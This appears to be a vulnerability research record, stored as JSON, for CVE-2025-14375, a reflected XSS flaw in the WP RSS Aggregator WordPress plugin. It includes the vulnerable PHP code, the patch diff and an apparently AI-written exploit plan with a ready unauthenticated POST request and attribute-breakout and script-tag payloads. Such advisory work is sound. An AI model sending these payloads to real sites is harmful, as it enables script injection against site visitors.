[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fFwg0iY0VSE14w5WeODKI-h5bUMiEGELGy-6MVJTbPmg":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2025-14375","rss-aggregator-rss-import-news-feeds-feed-to-post-and-autoblogging-reflected-cross-site-scripting-via-classname","RSS Aggregator – RSS Import, News Feeds, Feed to Post, and Autoblogging \u003C= 5.0.10 - Reflected Cross-Site Scripting via className","The RSS Aggregator – RSS Import, News Feeds, Feed to Post, and Autoblogging plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘className’ parameter in all versions up to, and including, 5.0.10 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.","wp-rss-aggregator",null,"\u003C=5.0.10","5.0.11","medium",6.1,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-01-15 19:09:57","2026-01-16 07:23:11",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F3d2dde13-2940-478e-8e2b-baf60003754a?source=api-prod",1,[22,23,24,25,26,27,28,29],"core\u002Fmodules\u002Frenderer.php","core\u002Fsrc\u002FDisplay\u002FLayoutTrait.php","core\u002Fsrc\u002FDisplay\u002FListLayout.php","core\u002Fsrc\u002FIrPost\u002FIrImage.php","core\u002Fsrc\u002FRenderer.php","core\u002Fsrc\u002FV4\u002FV4SourceMigrator.php","languages\u002Fwp-rss-aggregator.pot","readme.txt","researched",false,3,"# CVE-2025-14375: Reflected XSS in RSS Aggregator via `className`\n\n## 1. Vulnerability Summary\nThe **WP RSS Aggregator** plugin (up to version 5.0.10) is vulnerable to Reflected Cross-Site Scripting (XSS) due to insufficient sanitization and output escaping of the `className` parameter within its rendering engine. Specifically, the plugin's AJAX handler for rendering displays accepts a JSON-encoded `data` object and passes it to the `Renderer` class. The `ListLayout` and other layout implementations then output the `htmlClass` attribute (mapped from `className` or provided directly) into the HTML template without using `esc_attr()`, allowing for attribute breakout and script injection.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **AJAX Actions:** \n    *   `wp_ajax_nopriv_wpra.render.display` (Unauthenticated)\n    *   `wp_ajax_wpra.render.display` (Authenticated)\n*   **Vulnerable Parameter:** `data` (A JSON string containing display attributes).\n*   **Payload Key:** `className` or `htmlClass`.\n*   **Authentication:** Not required (via `nopriv` action).\n*   **Preconditions:** A valid \"Display\" ID must exist in the database (default display usually created on install).\n\n## 3. Code Flow\n1.  **Entry Point:** In `core\u002Fmodules\u002Frenderer.php`, the `$ajaxRender` anonymous function is registered to `wp_ajax_nopriv_wpra.render.display`.\n2.  **Input Parsing:** The function retrieves the `data` parameter from `$_POST` via `filter_input(INPUT_POST, 'data')` and performs `json_decode`.\n3.  **Validation:** It verifies that `id` and `page` within the decoded JSON are numeric.\n4.  **Rendering:** It calls `$renderer->renderArgs($data, 'shortcode')` in `core\u002Fsrc\u002FRenderer.php`.\n5.  **Layout Creation:** `renderArgs` calls `renderDisplay`, which instantiates a layout (e.g., `RebelCode\\Aggregator\\Core\\Display\\ListLayout`). The attributes from the JSON are used to populate the `DisplaySettings` object (`$this->ds`).\n6.  **The Sink:** In `core\u002Fsrc\u002FDisplay\u002FListLayout.php`, the `render()` method uses a heredoc to generate HTML:\n    ```php\n    return \u003C\u003C\u003CHTML\n        \u003Cdiv class=\"wp-rss-aggregator wpra-list-template {$this->ds->htmlClass}\">\n            \u003C{$listType} class=\"rss-aggregator wpra-item-list {$listClass}\" start=\"{$listStart}\">\n                {$listItems}\n            \u003C\u002F{$listType}>\n        \u003C\u002Fdiv>\n    HTML;\n    ```\n    The variable `{$this->ds->htmlClass}` is injected directly into the `class` attribute of the `div` and `li` tags without any escaping (missing `esc_attr()`).\n\n## 4. Nonce Acquisition Strategy\nAccording to the source code in `core\u002Fmodules\u002Frenderer.php`, the `wp_ajax_nopriv_wpra.render.display` and `wp_ajax_wpra.render.display` actions **do not implement any nonce checks**. \n\n```php\n\u002F\u002F core\u002Fmodules\u002Frenderer.php\n$ajaxRender = function () use ( $renderer ) {\n    $dataJson = filter_input( INPUT_POST, 'data' );\n    $data = json_decode( $dataJson, true );\n\n    if ( json_last_error() !== JSON_ERROR_NONE ) {\n        \u002F\u002F ... die\n    }\n\n    $id = $data['id'] ?? null;\n    $page = $data['page'] ?? null;\n\n    if ( ! is_numeric( $id ) || ! is_numeric( $page ) ) {\n        \u002F\u002F ... die\n    }\n\n    echo $renderer->renderArgs( $data, 'shortcode' );\n    die();\n};\n```\nSince the action is unauthenticated and lacks a `check_ajax_referer` or `wp_verify_nonce` call, no nonce is required for exploitation.\n\n## 5. Exploitation Strategy\nThe exploit involves sending a crafted POST request to the AJAX endpoint with a JSON payload containing the XSS vector in the `htmlClass` or `className` property.\n\n### Payload Construction\nWe need to break out of the `class` attribute:\n`\" onmouseover=\"alert(document.domain)\" data-x=\"`\n\n### Step-by-Step Plan\n1.  **Preparation:** Ensure at least one display exists to satisfy the `is_numeric($id)` check.\n2.  **Request:** Send an unauthenticated POST request to `\u002Fwp-admin\u002Fadmin-ajax.php`.\n3.  **HTTP Request Details:**\n    *   **Method:** `POST`\n    *   **URL:** `{{BASE_URL}}\u002Fwp-admin\u002Fadmin-ajax.php`\n    *   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n    *   **Body:** \n        ```text\n        action=wpra.render.display&data={\"id\":\"1\",\"page\":\"1\",\"htmlClass\":\"\\\" onmouseover=\\\"alert(document.domain)\\\" data-x=\\\"\"}\n        ```\n\n## 6. Test Data Setup\n1.  **Identify\u002FCreate a Display:** Use WP-CLI to ensure a display exists.\n    ```bash\n    # Check existing displays\n    wp post list --post_type=wprss_display\n    \n    # If none exist, the plugin usually creates a default one (ID 1 or similar).\n    # We can also check the wp_options for the default display ID\n    wp option get wpra_default_display_id\n    ```\n2.  **Ensure Feed Items exist:** The renderer needs items to display the list.\n    ```bash\n    # Create a dummy feed source and import\n    wp post create --post_type=wprss_feed --post_title=\"Test Feed\" --post_status=publish\n    # (The plugin will normally handle the import, but for PoC we just need the IDs to be valid)\n    ```\n\n## 7. Expected Results\n*   The server should return a `200 OK` response.\n*   The response body should contain the rendered HTML for the display.\n*   The injected payload should be visible in the HTML:\n    ```html\n    \u003Cdiv class=\"wp-rss-aggregator wpra-list-template \" onmouseover=\"alert(document.domain)\" data-x=\"\">\n    ```\n*   When a user hovers over the rendered display container, the JavaScript `alert(document.domain)` will execute.\n\n## 8. Verification Steps\n1.  **Check Output:** Inspect the response body of the `http_request` for the string `onmouseover=\"alert(document.domain)\"`.\n2.  **DOM Verification:** Use `browser_navigate` to the page where a display is rendered (if applicable) or use `browser_eval` on a test page to simulate the AJAX call and check if the returned HTML is rendered into the DOM.\n\n## 9. Alternative Approaches\n*   **Nested Property:** If `htmlClass` is not directly accepted, try nesting it inside `settings`: `{\"id\":\"1\",\"page\":\"1\",\"settings\":{\"htmlClass\":\"...\"}}`.\n*   **Shortcode Context:** Attempt to trigger the XSS by placing a shortcode on a page and observing the rendered output:\n    `[wp-rss-aggregator id=\"1\" className=\"\\\">\u003Cscript>alert(1)\u003C\u002Fscript>\"]`\n    (Note: This requires a Contributor+ account, whereas the AJAX method is unauthenticated).\n*   **Property Mapping:** The description says `className`. If `htmlClass` fails, try `className` specifically in the JSON, as the `Renderer` might map Gutenberg block attributes to display settings.","The WP RSS Aggregator plugin is vulnerable to unauthenticated Reflected Cross-Site Scripting (XSS) because its AJAX-based display rendering engine fails to sanitize or escape user-provided layout classes. Attackers can inject arbitrary JavaScript by providing a crafted JSON payload to the 'wpra.render.display' AJAX action, which executes when a victim visits a link or executes a script-triggering action.","\u002F\u002F core\u002Fmodules\u002Frenderer.php:42\n$ajaxRender = function () use ( $renderer ) {\n    $dataJson = filter_input( INPUT_POST, 'data' );\n    $data = json_decode( $dataJson, true );\n\n    if ( json_last_error() !== JSON_ERROR_NONE ) {\n        status_header( 400 );\n        echo 'Could not decode JSON.';\n        die();\n    }\n\n    $id = $data['id'] ?? null;\n    $page = $data['page'] ?? null;\n\n    if ( ! is_numeric( $id ) || ! is_numeric( $page ) ) {\n        status_header( 400 );\n        echo 'Invalid ID or page number.';\n        die();\n    }\n\n    echo $renderer->renderArgs( $data, 'shortcode' );\n    die();\n};\n\n---\n\n\u002F\u002F core\u002Fsrc\u002FDisplay\u002FListLayout.php:36\nreturn \u003C\u003C\u003CHTML\n    \u003Cdiv class=\"wp-rss-aggregator wpra-list-template {$this->ds->htmlClass}\">\n        \u003C{$listType} class=\"rss-aggregator wpra-item-list {$listClass}\" start=\"{$listStart}\">\n            {$listItems}\n        \u003C\u002F{$listType}>\n    \u003C\u002Fdiv>\nHTML;","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-rss-aggregator\u002F5.0.10\u002Fcore\u002Fmodules\u002Frenderer.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-rss-aggregator\u002F5.0.11\u002Fcore\u002Fmodules\u002Frenderer.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-rss-aggregator\u002F5.0.10\u002Fcore\u002Fmodules\u002Frenderer.php\t2025-07-24 12:00:56.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-rss-aggregator\u002F5.0.11\u002Fcore\u002Fmodules\u002Frenderer.php\t2026-01-14 10:19:30.000000000 +0000\n@@ -55,6 +55,12 @@\n \t\t\t\tdie();\n \t\t\t}\n \n+\t\t\t$nonce = $data['_wpnonce'] ?? '';\n+\t\t\tif ( ! wp_verify_nonce( $nonce, 'wpra_render_display' ) ) {\n+\t\t\t\tstatus_header( 403 );\n+\t\t\t\techo 'Nonce verification failed.';\n+\t\t\t\tdie();\n+\t\t\t}\n \t\t\t\u002F\u002F The $data array now contains all persisted shortcode attributes\n \t\t\t\u002F\u002F from hx-vals, including id, page, sources, limit, exclude, pagination, template.\n \t\t\t\u002F\u002F Pass the whole $data array to renderArgs.\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-rss-aggregator\u002F5.0.10\u002Fcore\u002Fsrc\u002FDisplay\u002FListLayout.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-rss-aggregator\u002F5.0.11\u002Fcore\u002Fsrc\u002FDisplay\u002FListLayout.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-rss-aggregator\u002F5.0.10\u002Fcore\u002Fsrc\u002FDisplay\u002FListLayout.php\t2025-07-24 12:00:56.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-rss-aggregator\u002F5.0.11\u002Fcore\u002Fsrc\u002FDisplay\u002FListLayout.php\t2026-01-14 10:19:30.000000000 +0000\n@@ -33,9 +33,10 @@\n \n \t\t$listStart = ( $state->page - 1 ) * $this->ds->numItems + 1;\n \t\t$listItems = $this->renderItems( $posts, fn ( IrPost $post ) => $this->item( $post ) );\n+\t\t$htmlClass = esc_attr( $this->ds->htmlClass );\n \n \t\treturn \u003C\u003C\u003CHTML\n-\t\t\t\u003Cdiv class=\"wp-rss-aggregator wpra-list-template {$this->ds->htmlClass}\">\n+\t\t\t\u003Cdiv class=\"wp-rss-aggregator wpra-list-template {$htmlClass}\">\n \t\t\t\t\u003C{$listType} class=\"rss-aggregator wpra-item-list {$listClass}\" start=\"{$listStart}\">\n \t\t\t\t\t{$listItems}\n \t\t\t\t\u003C\u002F{$listType}>\n@@ -44,8 +45,10 @@\n \t}\n \n \tprivate function item( IrPost $post ): string {\n+\t\t$htmlClass = esc_attr( $this->ds->htmlClass );\n+\n \t\treturn \u003C\u003C\u003CHTML\n-\t\t\t\u003Cli class=\"wpra-item feed-item {$this->ds->htmlClass}\">\n+\t\t\t\u003Cli class=\"wpra-item feed-item {$htmlClass}\">\n \t\t\t\t{$this->renderTitle($post)}\n \n \t\t\t\t\u003Cdiv class=\"wprss-feed-meta\">","The exploit targets the AJAX action 'wpra.render.display' which is accessible to unauthenticated users via 'wp_ajax_nopriv'. An attacker constructs a POST request to \u002Fwp-admin\u002Fadmin-ajax.php with the following parameters: 'action=wpra.render.display' and a 'data' parameter containing a JSON object. This JSON object must include a valid numeric 'id' (for a display) and 'page'. The malicious payload is placed in the 'htmlClass' or 'className' key within the JSON. Because the plugin does not escape this value before outputting it into the 'class' attribute of the rendered display div, the attacker can break out of the attribute and inject event handlers (e.g., '\" onmouseover=\"alert(document.domain)\"').","gemini-3-flash-preview","2026-05-05 08:25:08","2026-05-05 08:25:29",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","5.0.10","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-rss-aggregator\u002Ftags\u002F5.0.10","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-rss-aggregator.5.0.10.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-rss-aggregator\u002Ftags\u002F5.0.11","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-rss-aggregator.5.0.11.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-rss-aggregator\u002Ftags"]